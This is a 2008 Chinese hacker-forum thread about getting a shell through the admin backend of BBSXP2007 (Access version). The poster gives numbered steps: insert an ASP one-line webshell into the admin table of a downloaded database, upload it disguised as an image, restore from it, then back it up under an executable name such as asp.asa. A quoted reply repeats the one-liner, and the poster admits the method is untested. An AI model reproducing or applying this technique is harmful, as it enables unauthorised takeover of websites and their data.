注册
登录
论坛
搜索
插件
默认风格
默认风格_6hOY
D Dark
greenwall
jeans
fashion
私人消息 (0)
公共消息 (0)
论坛任务 (0)
系统消息 (0)
好友消息 (0)
帖子消息 (0)
【3.A.S.T】网络安全爱好者
»
技术交流
» [讨论]BBSXP2007 Access版后台拿shell问题
返回列表
发帖
周星星
发短消息
加为好友
周星星
当前离线
UID
827
帖子
30
精华
0
积分
45
威望
60
金钱
60
阅读权限
10
在线时间
0 小时
注册时间
2008-7-16
最后登录
2008-8-2
3.A.S.T士兵
帖子
30
积分
45
威望
60
金钱
60
在线时间
0 小时
1
楼
跳转到
»
发表于 2008-7-23 08:27
|
显示全部帖子
申明下,我没测试过。但是在其他的地方运用到过类似的方法
你可以参考下《自力更生搞定my动力系统》
1、先帮网站备份当前数据库。 ' 比如为bak.mdb
2、去down一份数据库。版本要一样
3、去掉nodown表`去掉全部的表。只留一个“admin”
4、在admin表里加一个<%execute request("fucker")%>
5、然后上传上去,当然是图片了。。
6、恢复数据库,我说的恢复不是恢复步骤1的数据库,而是步骤5的图片。
7、有的人会说网站会倒塌,应该不会,所以我说我没实践。但是我觉得这个办法是通杀的。
8、再一次备份当前数据库。 ' 比如为“asp.asp/test.mdb”,或者“asp.asa”
这个是理论上的思路……
引用:
Quote:
引用第2楼゛小︷帅!﹊于2008-01-05 11:45发表的 :
表Admin
列username password .........
<%execute request("#")%>
.......
可以具体点不?前提是无法开通上传组建的!
那我就无能为力了。
全部都试一下吧。
把一句话加密什么的。
帖子58 精华
0
积分155 阅读权限40 来自杭州 在线时间152 小时 注册时间2007-9-29 最后登录2008-7-16
查看个人网站
查看详细资料
TOP
少女暴富的隐秘(图)
simpleboy
晶莹剔透§烈日灼然
TOP
返回列表
【 新 手 入 门 】
初入江湖
有问必答
软件交流
程序设计
黑客播报
操作系统
Windows专区
Unix 专区
【 技 术 交 流 】
原创专区
QQ技巧
反黑知识
网站建设
教程发布
技术交流
免杀技术
0day发布
专题归类
私服技术
【 论 坛 水 区 】
被黑站点
激情灌水
极品贴图
开心乐园
影音专区
广告专区
【 论 坛 管 理 】
新人报到
论坛管理
勋章申请
[收藏此主题]
[关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]
全国地图
@@@ 加入本站会员 一个月月赚1200+的秘密@@@